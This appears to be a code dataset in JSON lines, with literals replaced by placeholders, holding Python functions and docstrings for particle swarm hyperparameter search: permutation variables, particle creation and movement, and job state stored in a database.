{"signature": "def __init__(self, min, max, stepSize=None, inertia=None, cogRate=None,<EOL>socRate=None):", "body": "super(PermuteFloat, self).__init__()<EOL>self.min = min<EOL>self.max = max<EOL>self.stepSize = stepSize<EOL>self._position = (self.max + self.min) / <NUM_LIT><EOL>self._velocity = (self.max - self.min) / <NUM_LIT><EOL>self._inertia = (float(Configuration.get(\"<STR_LIT>\"))<EOL>if inertia is None else inertia)<EOL>self._cogRate = (float(Configuration.get(\"<STR_LIT>\"))<EOL>if cogRate is None else cogRate)<EOL>self._socRate = (float(Configuration.get(\"<STR_LIT>\"))<EOL>if socRate is None else socRate)<EOL>self._bestPosition = self.getPosition()<EOL>self._bestResult = None<EOL>", "docstring": "Construct a variable that permutes over floating point values using\n        the Particle Swarm Optimization (PSO) algorithm. See descriptions of\n        PSO (i.e. http://en.wikipedia.org/wiki/Particle_swarm_optimization)\n        for references to the inertia, cogRate, and socRate parameters.\n\n        Parameters:\n        -----------------------------------------------------------------------\n        min:          min allowed value of position\n        max:          max allowed value of position\n        stepSize:     if not None, the position must be at min + N * stepSize,\n                        where N is an integer\n        inertia:      The inertia for the particle.\n        cogRate:      This parameter controls how much the particle is affected\n                        by its distance from it's local best position\n        socRate:      This parameter controls how much the particle is affected\n                        by its distance from the global best position", "id": "f17581:c1:m0"}
{"signature": "def __repr__(self):", "body": "return (\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>self.min, self.max, self.stepSize, self.getPosition(),<EOL>self._position, self._velocity, self._bestPosition,<EOL>self._bestResult))<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m1"}
{"signature": "def getState(self):", "body": "return dict(_position = self._position,<EOL>position = self.getPosition(),<EOL>velocity = self._velocity,<EOL>bestPosition = self._bestPosition,<EOL>bestResult = self._bestResult)<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m2"}
{"signature": "def setState(self, state):", "body": "self._position = state['<STR_LIT>']<EOL>self._velocity = state['<STR_LIT>']<EOL>self._bestPosition = state['<STR_LIT>']<EOL>self._bestResult = state['<STR_LIT>']<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m3"}
{"signature": "def getPosition(self):", "body": "if self.stepSize is None:<EOL><INDENT>return self._position<EOL><DEDENT>numSteps = (self._position - self.min)  / self.stepSize<EOL>numSteps = int(round(numSteps))<EOL>position = self.min + (numSteps * self.stepSize)<EOL>position = max(self.min, position)<EOL>position = min(self.max, position)<EOL>return position<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m4"}
{"signature": "def agitate(self):", "body": "<EOL>self._velocity *= <NUM_LIT> / self._inertia<EOL>maxV = (self.max - self.min)/<NUM_LIT:2><EOL>if self._velocity > maxV:<EOL><INDENT>self._velocity = maxV<EOL><DEDENT>elif self._velocity < -maxV:<EOL><INDENT>self._velocity = -maxV<EOL><DEDENT>if self._position == self.max and self._velocity > <NUM_LIT:0>:<EOL><INDENT>self._velocity *= -<NUM_LIT:1><EOL><DEDENT>if self._position == self.min and self._velocity < <NUM_LIT:0>:<EOL><INDENT>self._velocity *= -<NUM_LIT:1><EOL><DEDENT>", "docstring": "See comments in base class.", "id": "f17581:c1:m5"}
{"signature": "def newPosition(self, globalBestPosition, rng):", "body": "<EOL>lb=float(Configuration.get(\"<STR_LIT>\"))<EOL>ub=float(Configuration.get(\"<STR_LIT>\"))<EOL>self._velocity = (self._velocity * self._inertia + rng.uniform(lb, ub) *<EOL>self._cogRate * (self._bestPosition - self.getPosition()))<EOL>if globalBestPosition is not None:<EOL><INDENT>self._velocity += rng.uniform(lb, ub) * self._socRate * (<EOL>globalBestPosition - self.getPosition())<EOL><DEDENT>self._position += self._velocity<EOL>self._position = max(self.min, self._position)<EOL>self._position = min(self.max, self._position)<EOL>return self.getPosition()<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m6"}
{"signature": "def pushAwayFrom(self, otherPositions, rng):", "body": "<EOL>if self.max == self.min:<EOL><INDENT>return<EOL><DEDENT>numPositions = len(otherPositions) * <NUM_LIT:4><EOL>if numPositions == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>stepSize = float(self.max-self.min) / numPositions<EOL>positions = numpy.arange(self.min, self.max + stepSize, stepSize)<EOL>numPositions = len(positions)<EOL>weights = numpy.zeros(numPositions)<EOL>maxDistanceSq = -<NUM_LIT:1> * (stepSize ** <NUM_LIT:2>)<EOL>for pos in otherPositions:<EOL><INDENT>distances = pos - positions<EOL>varWeights = numpy.exp(numpy.power(distances, <NUM_LIT:2>) / maxDistanceSq)<EOL>weights += varWeights<EOL><DEDENT>positionIdx = weights.argmin()<EOL>self._position = positions[positionIdx]<EOL>self._bestPosition = self.getPosition()<EOL>self._velocity *= rng.choice([<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m7"}
{"signature": "def resetVelocity(self, rng):", "body": "maxVelocity = (self.max - self.min) / <NUM_LIT><EOL>self._velocity = maxVelocity <EOL>self._velocity *= rng.choice([<NUM_LIT:1>, -<NUM_LIT:1>])<EOL>", "docstring": "See comments in base class.", "id": "f17581:c1:m8"}
{"signature": "def __repr__(self):", "body": "return (\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>self.min, self.max, self.stepSize, self.getPosition(),<EOL>self._position, self._velocity, self._bestPosition,<EOL>self._bestResult))<EOL>", "docstring": "See comments in base class.", "id": "f17581:c2:m1"}
{"signature": "def getPosition(self):", "body": "position = super(PermuteInt, self).getPosition()<EOL>position =  int(round(position))<EOL>return position<EOL>", "docstring": "See comments in base class.", "id": "f17581:c2:m2"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" % (self.choices,<EOL>self.choices[self._positionIdx])<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m1"}
{"signature": "def getState(self):", "body": "return dict(_position = self.getPosition(),<EOL>position = self.getPosition(),<EOL>velocity = None,<EOL>bestPosition = self.choices[self._bestPositionIdx],<EOL>bestResult = self._bestResult)<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m2"}
{"signature": "def setState(self, state):", "body": "self._positionIdx = self.choices.index(state['<STR_LIT>'])<EOL>self._bestPositionIdx = self.choices.index(state['<STR_LIT>'])<EOL>self._bestResult = state['<STR_LIT>']<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m3"}
{"signature": "def setResultsPerChoice(self, resultsPerChoice):", "body": "<EOL>self._resultsPerChoice = [[]] * len(self.choices)<EOL>for (choiceValue, values) in resultsPerChoice:<EOL><INDENT>choiceIndex = self.choices.index(choiceValue)<EOL>self._resultsPerChoice[choiceIndex] = list(values)<EOL><DEDENT>", "docstring": "Setup our resultsPerChoice history based on the passed in\n        resultsPerChoice.\n\n        For example, if this variable has the following choices:\n          ['a', 'b', 'c']\n\n        resultsPerChoice will have up to 3 elements, each element is a tuple\n        containing (choiceValue, errors) where errors is the list of errors\n        received from models that used the specific choice:\n        retval:\n          [('a', [0.1, 0.2, 0.3]), ('b', [0.5, 0.1, 0.6]), ('c', [0.2])]", "id": "f17581:c3:m4"}
{"signature": "def getPosition(self):", "body": "return self.choices[self._positionIdx]<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m5"}
{"signature": "def agitate(self):", "body": "<EOL>pass<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m6"}
{"signature": "def newPosition(self, globalBestPosition, rng):", "body": "<EOL>numChoices = len(self.choices)<EOL>meanScorePerChoice = []<EOL>overallSum = <NUM_LIT:0><EOL>numResults = <NUM_LIT:0><EOL>for i in range(numChoices):<EOL><INDENT>if len(self._resultsPerChoice[i]) > <NUM_LIT:0>:<EOL><INDENT>data = numpy.array(self._resultsPerChoice[i])<EOL>meanScorePerChoice.append(data.mean())<EOL>overallSum += data.sum()<EOL>numResults += data.size<EOL><DEDENT>else:<EOL><INDENT>meanScorePerChoice.append(None)<EOL><DEDENT><DEDENT>if numResults == <NUM_LIT:0>:<EOL><INDENT>overallSum = <NUM_LIT:1.0><EOL>numResults = <NUM_LIT:1><EOL><DEDENT>for i in range(numChoices):<EOL><INDENT>if meanScorePerChoice[i] is None:<EOL><INDENT>meanScorePerChoice[i] = overallSum / numResults<EOL><DEDENT><DEDENT>meanScorePerChoice = numpy.array(meanScorePerChoice)<EOL>meanScorePerChoice = (<NUM_LIT> * meanScorePerChoice.max()) - meanScorePerChoice<EOL>if self._fixEarly:<EOL><INDENT>meanScorePerChoice **= (numResults * self._fixEarlyFactor / numChoices)<EOL><DEDENT>total = meanScorePerChoice.sum()<EOL>if total == <NUM_LIT:0>:<EOL><INDENT>total = <NUM_LIT:1.0><EOL><DEDENT>meanScorePerChoice /= total<EOL>distribution = meanScorePerChoice.cumsum()<EOL>r = rng.random() * distribution[-<NUM_LIT:1>]<EOL>choiceIdx = numpy.where(r <= distribution)[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>self._positionIdx = choiceIdx<EOL>return self.getPosition()<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m7"}
{"signature": "def pushAwayFrom(self, otherPositions, rng):", "body": "<EOL>positions = [self.choices.index(x) for x in otherPositions]<EOL>positionCounts = [<NUM_LIT:0>] * len(self.choices)<EOL>for pos in positions:<EOL><INDENT>positionCounts[pos] += <NUM_LIT:1><EOL><DEDENT>self._positionIdx = numpy.array(positionCounts).argmin()<EOL>self._bestPositionIdx = self._positionIdx<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m8"}
{"signature": "def resetVelocity(self, rng):", "body": "pass<EOL>", "docstring": "See comments in base class.", "id": "f17581:c3:m9"}
{"signature": "def __repr__(self):", "body": "suffix = \"<STR_LIT>\"<EOL>for key, value in list(self.kwArgs.items()):<EOL><INDENT>suffix += \"<STR_LIT>\" % (key, value)<EOL><DEDENT>return \"<STR_LIT>\" % (<EOL>(self.fieldName, self.encoderClass, self.name, suffix))<EOL>", "docstring": "See comments in base class.", "id": "f17581:c4:m1"}
{"signature": "def getDict(self, encoderName, flattenedChosenValues):", "body": "encoder = dict(fieldname=self.fieldName,<EOL>name=self.name)<EOL>for encoderArg, value in self.kwArgs.items():<EOL><INDENT>if isinstance(value, PermuteVariable):<EOL><INDENT>value = flattenedChosenValues[\"<STR_LIT>\" % (encoderName, encoderArg)]<EOL><DEDENT>encoder[encoderArg] = value<EOL><DEDENT>if '<STR_LIT:.>' in self.encoderClass:<EOL><INDENT>(encoder['<STR_LIT:type>'], argName) = self.encoderClass.split('<STR_LIT:.>')<EOL>argValue = (encoder['<STR_LIT:w>'], encoder['<STR_LIT>'])<EOL>encoder[argName] = argValue<EOL>encoder.pop('<STR_LIT:w>')<EOL>encoder.pop('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>encoder['<STR_LIT:type>'] = self.encoderClass<EOL><DEDENT>return encoder<EOL>", "docstring": "Return a dict that can be used to construct this encoder. This dict\n        can be passed directly to the addMultipleEncoders() method of the\n        multi encoder.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        encoderName:            name of the encoder\n        flattenedChosenValues:  dict of the flattened permutation variables. Any\n                                  variables within this dict whose key starts\n                                  with encoderName will be substituted for\n                                  encoder constructor args which are being\n                                  permuted over.", "id": "f17581:c4:m2"}
{"signature": "def run(self):", "body": "<EOL>self.verbosity = <NUM_LIT:0><EOL>self._testValidPositions(varClass=PermuteFloat, minValue=<NUM_LIT>,<EOL>maxValue=<NUM_LIT>, stepSize=<NUM_LIT:0.5>)<EOL>self._testValidPositions(varClass=PermuteInt, minValue=<NUM_LIT:2>,<EOL>maxValue=<NUM_LIT:11>, stepSize=<NUM_LIT:3>)<EOL>self._testValidPositions(varClass=PermuteInt, minValue=<NUM_LIT:2>,<EOL>maxValue=<NUM_LIT:11>, stepSize=<NUM_LIT:1>)<EOL>self._testConvergence(varClass=PermuteFloat, minValue=<NUM_LIT>,<EOL>maxValue=<NUM_LIT>, targetValue=<NUM_LIT>)<EOL>self._testConvergence(varClass=PermuteFloat, minValue=<NUM_LIT>,<EOL>maxValue=<NUM_LIT>, targetValue=<NUM_LIT>)<EOL>self._testConvergence(varClass=PermuteFloat, minValue=<NUM_LIT>,<EOL>maxValue=<NUM_LIT>, targetValue=<NUM_LIT>)<EOL>self._testConvergence(varClass=PermuteInt, minValue=<NUM_LIT:1>,<EOL>maxValue=<NUM_LIT:20>, targetValue=<NUM_LIT>)<EOL>self._testConvergence(varClass=PermuteInt, minValue=<NUM_LIT:1>,<EOL>maxValue=<NUM_LIT:20>, targetValue=<NUM_LIT:1>)<EOL>self._testChoices()<EOL>", "docstring": "Run unit tests on this module.", "id": "f17581:c5:m3"}
{"signature": "def clean(s):", "body": "lines = [l.rstrip() for l in s.split('<STR_LIT:\\n>')]<EOL>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Removes trailing whitespace on each line.", "id": "f17583:m5"}
{"signature": "def __init__(self, hsObj, resultsDB, flattenedPermuteVars,<EOL>swarmId=None, newFarFrom=None, evolveFromState=None,<EOL>newFromClone=None, newParticleId=False):", "body": "<EOL>self._hsObj = hsObj<EOL>self.logger = hsObj.logger<EOL>self._resultsDB = resultsDB<EOL>self._rng = random.Random()<EOL>self._rng.seed(<NUM_LIT>)<EOL>def _setupVars(flattenedPermuteVars):<EOL><INDENT>allowedEncoderNames = self.swarmId.split('<STR_LIT:.>')<EOL>self.permuteVars = copy.deepcopy(flattenedPermuteVars)<EOL>varNames = self.permuteVars.keys()<EOL>for varName in varNames:<EOL><INDENT>if '<STR_LIT::>' in varName:  <EOL><INDENT>if varName.split('<STR_LIT::>')[<NUM_LIT:0>] not in allowedEncoderNames:<EOL><INDENT>self.permuteVars.pop(varName)<EOL>continue<EOL><DEDENT><DEDENT>if isinstance(self.permuteVars[varName], PermuteChoices):<EOL><INDENT>if self._hsObj._speculativeParticles:<EOL><INDENT>maxGenIdx = None<EOL><DEDENT>else:<EOL><INDENT>maxGenIdx = self.genIdx - <NUM_LIT:1><EOL><DEDENT>resultsPerChoice = self._resultsDB.getResultsPerChoice(<EOL>swarmId=self.swarmId, maxGenIdx=maxGenIdx, varName=varName)<EOL>self.permuteVars[varName].setResultsPerChoice(<EOL>resultsPerChoice.values())<EOL><DEDENT><DEDENT><DEDENT>if swarmId is not None:<EOL><INDENT>assert (evolveFromState is None)<EOL>assert (newFromClone is None)<EOL>self.swarmId = swarmId<EOL>self.particleId = \"<STR_LIT>\" % (str(self._hsObj._workerID),<EOL>str(Particle._nextParticleID))<EOL>Particle._nextParticleID += <NUM_LIT:1><EOL>self.genIdx = <NUM_LIT:0><EOL>_setupVars(flattenedPermuteVars)<EOL>if newFarFrom is not None:<EOL><INDENT>for varName in self.permuteVars.iterkeys():<EOL><INDENT>otherPositions = []<EOL>for particleState in newFarFrom:<EOL><INDENT>otherPositions.append(<EOL>particleState['<STR_LIT>'][varName]['<STR_LIT>'])<EOL><DEDENT>self.permuteVars[varName].pushAwayFrom(otherPositions, self._rng)<EOL>self._rng.seed(str(otherPositions))<EOL><DEDENT><DEDENT><DEDENT>elif evolveFromState is not None:<EOL><INDENT>assert (swarmId is None)<EOL>assert (newFarFrom is None)<EOL>assert (newFromClone is None)<EOL>self.particleId = evolveFromState['<STR_LIT:id>']<EOL>self.genIdx = evolveFromState['<STR_LIT>'] + <NUM_LIT:1><EOL>self.swarmId = evolveFromState['<STR_LIT>']<EOL>_setupVars(flattenedPermuteVars)<EOL>self.initStateFrom(self.particleId, evolveFromState, newBest=True)<EOL>self.newPosition()<EOL><DEDENT>elif newFromClone is not None:<EOL><INDENT>assert (swarmId is None)<EOL>assert (newFarFrom is None)<EOL>assert (evolveFromState is None)<EOL>self.particleId = newFromClone['<STR_LIT:id>']<EOL>if newParticleId:<EOL><INDENT>self.particleId = \"<STR_LIT>\" % (str(self._hsObj._workerID),<EOL>str(Particle._nextParticleID))<EOL>Particle._nextParticleID += <NUM_LIT:1><EOL><DEDENT>self.genIdx = newFromClone['<STR_LIT>']<EOL>self.swarmId = newFromClone['<STR_LIT>']<EOL>_setupVars(flattenedPermuteVars)<EOL>self.initStateFrom(self.particleId, newFromClone, newBest=False)<EOL><DEDENT>else:<EOL><INDENT>assert False, \"<STR_LIT>\"<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\" % (str(self)))<EOL>", "docstring": "Create a particle.\n\n        There are 3 fundamentally different methods of instantiating a particle:\n        1.) You can instantiate a new one from scratch, at generation index #0. This\n              particle gets a new particleId.\n                required: swarmId\n                optional: newFarFrom\n                must be None: evolveFromState, newFromClone\n\n        2.) You can instantiate one from savedState, in which case it's generation\n              index is incremented (from the value stored in the saved state) and\n              its particleId remains the same.\n                required: evolveFromState\n                optional:\n                must be None: flattenedPermuteVars, swarmId, newFromClone\n\n        3.) You can clone another particle, creating a new particle at the same\n              generationIdx but a different particleId. This new particle will end\n              up at exactly the same position as the one it was cloned from. If\n              you want to move it to the next position, or just jiggle it a bit, call\n              newPosition() or agitate() after instantiation.\n                required: newFromClone\n                optional:\n                must be None: flattenedPermuteVars, swarmId, evolveFromState\n\n\n        Parameters:\n        --------------------------------------------------------------------\n        hsObj:    The HypersearchV2 instance\n\n        resultsDB: the ResultsDB instance that holds all the model results\n\n        flattenedPermuteVars: dict() containing the (key, PermuteVariable) pairs\n              of the  flattened permutation variables as read from the permutations\n              file.\n\n        swarmId: String that represents the encoder names of the encoders that are\n              to be included in this particle's model. Of the form\n              'encoder1.encoder2'.\n              Required for creation method #1.\n\n        newFarFrom: If not None, this is a list of other particleState dicts in the\n              swarm that we want to be as far away from as possible. Optional\n              argument for creation method #1.\n\n        evolveFromState: If not None, evolve an existing particle. This is a\n              dict containing the particle's state. Preserve the particleId, but\n              increment the generation index. Required for creation method #2.\n\n        newFromClone: If not None, clone this other particle's position and generation\n              index, with small random perturbations. This is a dict containing the\n              particle's state. Required for creation method #3.\n\n        newParticleId: Only applicable when newFromClone is True. Give the clone\n              a new particle ID.", "id": "f17585:c0:m0"}
{"signature": "def getState(self):", "body": "varStates = dict()<EOL>for varName, var in self.permuteVars.iteritems():<EOL><INDENT>varStates[varName] = var.getState()<EOL><DEDENT>return dict(id=self.particleId,<EOL>genIdx=self.genIdx,<EOL>swarmId=self.swarmId,<EOL>varStates=varStates)<EOL>", "docstring": "Get the particle state as a dict. This is enough information to\n        instantiate this particle on another worker.", "id": "f17585:c0:m2"}
{"signature": "def initStateFrom(self, particleId, particleState, newBest):", "body": "<EOL>if newBest:<EOL><INDENT>(bestResult, bestPosition) = self._resultsDB.getParticleBest(particleId)<EOL><DEDENT>else:<EOL><INDENT>bestResult = bestPosition = None<EOL><DEDENT>varStates = particleState['<STR_LIT>']<EOL>for varName in varStates.keys():<EOL><INDENT>varState = copy.deepcopy(varStates[varName])<EOL>if newBest:<EOL><INDENT>varState['<STR_LIT>'] = bestResult<EOL><DEDENT>if bestPosition is not None:<EOL><INDENT>varState['<STR_LIT>'] = bestPosition[varName]<EOL><DEDENT>self.permuteVars[varName].setState(varState)<EOL><DEDENT>", "docstring": "Init all of our variable positions, velocities, and optionally the best\n        result and best position from the given particle.\n\n        If newBest is true, we get the best result and position for this new\n        generation from the resultsDB, This is used when evoloving a particle\n        because the bestResult and position as stored in was the best AT THE TIME\n        THAT PARTICLE STARTED TO RUN and does not include the best since that\n        particle completed.", "id": "f17585:c0:m3"}
{"signature": "def copyEncoderStatesFrom(self, particleState):", "body": "<EOL>allowedToMove = True<EOL>for varName in particleState['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT::>' in varName:  <EOL><INDENT>if varName not in self.permuteVars:<EOL><INDENT>continue<EOL><DEDENT>state = copy.deepcopy(particleState['<STR_LIT>'][varName])<EOL>state['<STR_LIT>'] = state['<STR_LIT>']<EOL>state['<STR_LIT>'] = state['<STR_LIT>']<EOL>if not allowedToMove:<EOL><INDENT>state['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>self.permuteVars[varName].setState(state)<EOL>if allowedToMove:<EOL><INDENT>self.permuteVars[varName].resetVelocity(self._rng)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Copy all encoder variables from particleState into this particle.\n\n        Parameters:\n        --------------------------------------------------------------\n        particleState:        dict produced by a particle's getState() method", "id": "f17585:c0:m4"}
{"signature": "def copyVarStatesFrom(self, particleState, varNames):", "body": "<EOL>allowedToMove = True<EOL>for varName in particleState['<STR_LIT>']:<EOL><INDENT>if varName in varNames:<EOL><INDENT>if varName not in self.permuteVars:<EOL><INDENT>continue<EOL><DEDENT>state = copy.deepcopy(particleState['<STR_LIT>'][varName])<EOL>state['<STR_LIT>'] = state['<STR_LIT>']<EOL>state['<STR_LIT>'] = state['<STR_LIT>']<EOL>if not allowedToMove:<EOL><INDENT>state['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>self.permuteVars[varName].setState(state)<EOL>if allowedToMove:<EOL><INDENT>self.permuteVars[varName].resetVelocity(self._rng)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Copy specific variables from particleState into this particle.\n\n        Parameters:\n        --------------------------------------------------------------\n        particleState:        dict produced by a particle's getState() method\n        varNames:             which variables to copy", "id": "f17585:c0:m5"}
{"signature": "def getPosition(self):", "body": "result = dict()<EOL>for (varName, value) in self.permuteVars.iteritems():<EOL><INDENT>result[varName] = value.getPosition()<EOL><DEDENT>return result<EOL>", "docstring": "Return the position of this particle. This returns a dict() of key\n        value pairs where each key is the name of the flattened permutation\n        variable and the value is its chosen value.\n\n        Parameters:\n        --------------------------------------------------------------\n        retval:     dict() of flattened permutation choices", "id": "f17585:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def getPositionFromState(pState):<DEDENT>", "body": "result = dict()<EOL>for (varName, value) in pState['<STR_LIT>'].iteritems():<EOL><INDENT>result[varName] = value['<STR_LIT>']<EOL><DEDENT>return result<EOL>", "docstring": "Return the position of a particle given its state dict.\n\n        Parameters:\n        --------------------------------------------------------------\n        retval:     dict() of particle position, keys are the variable names,\n                      values are their positions", "id": "f17585:c0:m7"}
{"signature": "def agitate(self):", "body": "for (varName, var) in self.permuteVars.iteritems():<EOL><INDENT>var.agitate()<EOL><DEDENT>self.newPosition()<EOL>", "docstring": "Agitate this particle so that it is likely to go to a new position.\n        Every time agitate is called, the particle is jiggled an even greater\n        amount.\n\n        Parameters:\n        --------------------------------------------------------------\n        retval:               None", "id": "f17585:c0:m8"}
{"signature": "def newPosition(self, whichVars=None):<EOL>", "body": "<EOL>globalBestPosition = None<EOL>if self._hsObj._speculativeParticles:<EOL><INDENT>genIdx = self.genIdx<EOL><DEDENT>else:<EOL><INDENT>genIdx = self.genIdx - <NUM_LIT:1><EOL><DEDENT>if genIdx >= <NUM_LIT:0>:<EOL><INDENT>(bestModelId, _) = self._resultsDB.bestModelIdAndErrScore(self.swarmId,<EOL>genIdx)<EOL>if bestModelId is not None:<EOL><INDENT>(particleState, _, _, _, _) = self._resultsDB.getParticleInfo(<EOL>bestModelId)<EOL>globalBestPosition = Particle.getPositionFromState(particleState)<EOL><DEDENT><DEDENT>for (varName, var) in self.permuteVars.iteritems():<EOL><INDENT>if whichVars is not None and varName not in whichVars:<EOL><INDENT>continue<EOL><DEDENT>if globalBestPosition is None:<EOL><INDENT>var.newPosition(None, self._rng)<EOL><DEDENT>else:<EOL><INDENT>var.newPosition(globalBestPosition[varName], self._rng)<EOL><DEDENT><DEDENT>position = self.getPosition()<EOL>if self.logger.getEffectiveLevel() <= logging.DEBUG:<EOL><INDENT>msg = StringIO.StringIO()<EOL>print >> msg, \"<STR_LIT>\" % (pprint.pformat(position,<EOL>indent=<NUM_LIT:4>))<EOL>print >> msg, \"<STR_LIT>\"<EOL>for (varName, var) in self.permuteVars.iteritems():<EOL><INDENT>print >> msg, \"<STR_LIT>\" % (varName, str(var))<EOL><DEDENT>self.logger.debug(msg.getvalue())<EOL>msg.close()<EOL><DEDENT>return position<EOL>", "docstring": "Choose a new position based on results obtained so far from all other\n        particles.\n\n        Parameters:\n        --------------------------------------------------------------\n        whichVars:       If not None, only move these variables\n        retval:               new position", "id": "f17585:c0:m9"}
{"signature": "def __init__(self, hsObj):", "body": "<EOL>self._hsObj = hsObj<EOL>self.logger = self._hsObj.logger<EOL>self._state = None<EOL>self._priorStateJSON = None<EOL>self._dirty = False<EOL>self.readStateFromDB()<EOL>", "docstring": "Create our state object.\n\n        Parameters:\n        ---------------------------------------------------------------------\n        hsObj:     Reference to the HypersesarchV2 instance\n        cjDAO:     ClientJobsDAO instance\n        logger:    logger to use\n        jobID:     our JobID", "id": "f17586:c0:m0"}
{"signature": "def isDirty(self):", "body": "return self._dirty<EOL>", "docstring": "Return true if our local copy of the state has changed since the\n        last time we read from the DB.", "id": "f17586:c0:m1"}
{"signature": "def isSearchOver(self):", "body": "return self._state['<STR_LIT>']<EOL>", "docstring": "Return true if the search should be considered over.", "id": "f17586:c0:m2"}
{"signature": "def readStateFromDB(self):", "body": "self._priorStateJSON = self._hsObj._cjDAO.jobGetFields(self._hsObj._jobID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if self._priorStateJSON is None:<EOL><INDENT>swarms = dict()<EOL>if self._hsObj._fixedFields is not None:<EOL><INDENT>print(self._hsObj._fixedFields)<EOL>encoderSet = []<EOL>for field in self._hsObj._fixedFields:<EOL><INDENT>if field =='<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>encoderName = self.getEncoderKeyFromName(field)<EOL>assert encoderName in self._hsObj._encoderNames, \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\" % (field)<EOL>encoderSet.append(encoderName)<EOL><DEDENT>encoderSet.sort()<EOL>swarms['<STR_LIT:.>'.join(encoderSet)] = {<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL><DEDENT>elif self._hsObj._searchType == HsSearchType.temporal:<EOL><INDENT>for encoderName in self._hsObj._encoderNames:<EOL><INDENT>swarms[encoderName] = {<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL><DEDENT><DEDENT>elif self._hsObj._searchType == HsSearchType.classification:<EOL><INDENT>for encoderName in self._hsObj._encoderNames:<EOL><INDENT>if encoderName == self._hsObj._predictedFieldEncoder:<EOL><INDENT>continue<EOL><DEDENT>swarms[encoderName] = {<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL><DEDENT><DEDENT>elif self._hsObj._searchType == HsSearchType.legacyTemporal:<EOL><INDENT>swarms[self._hsObj._predictedFieldEncoder] = {<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" %(self._hsObj._searchType))<EOL><DEDENT>self._state = dict(<EOL>lastUpdateTime = time.time(),<EOL>lastGoodSprint = None,<EOL>searchOver = False,<EOL>activeSwarms = list(swarms.keys()),<EOL>swarms = swarms,<EOL>sprints = [{'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None}],<EOL>blackListedEncoders = [],<EOL>)<EOL>self._hsObj._cjDAO.jobSetFieldIfEqual(<EOL>self._hsObj._jobID, '<STR_LIT>', json.dumps(self._state), None)<EOL>self._priorStateJSON = self._hsObj._cjDAO.jobGetFields(<EOL>self._hsObj._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>assert (self._priorStateJSON is not None)<EOL><DEDENT>self._state = json.loads(self._priorStateJSON)<EOL>self._dirty = False<EOL>", "docstring": "Set our state to that obtained from the engWorkerState field of the\n        job record.\n\n\n        Parameters:\n        ---------------------------------------------------------------------\n        stateJSON:    JSON encoded state from job record", "id": "f17586:c0:m3"}
{"signature": "def writeStateToDB(self):", "body": "<EOL>if not self._dirty:<EOL><INDENT>return True<EOL><DEDENT>self._state['<STR_LIT>'] = time.time()<EOL>newStateJSON = json.dumps(self._state)<EOL>success = self._hsObj._cjDAO.jobSetFieldIfEqual(self._hsObj._jobID,<EOL>'<STR_LIT>', str(newStateJSON), str(self._priorStateJSON))<EOL>if success:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" %(pprint.pformat(self._state, indent=<NUM_LIT:4>)))<EOL>self._priorStateJSON = newStateJSON<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" %(pprint.pformat(self._state, indent=<NUM_LIT:4>)))<EOL>self._priorStateJSON = self._hsObj._cjDAO.jobGetFields(self._hsObj._jobID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>self._state =  json.loads(self._priorStateJSON)<EOL>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (pprint.pformat(self._state, indent=<NUM_LIT:4>)))<EOL><DEDENT>return success<EOL>", "docstring": "Update the state in the job record with our local changes (if any).\n        If we don't have the latest state in our priorStateJSON, then re-load\n        in the latest state and return False. If we were successful writing out\n        our changes, return True\n\n        Parameters:\n        ---------------------------------------------------------------------\n        retval:    True if we were successful writing out our changes\n                   False if our priorState is not the latest that was in the DB.\n                   In this case, we will re-load our state from the DB", "id": "f17586:c0:m4"}
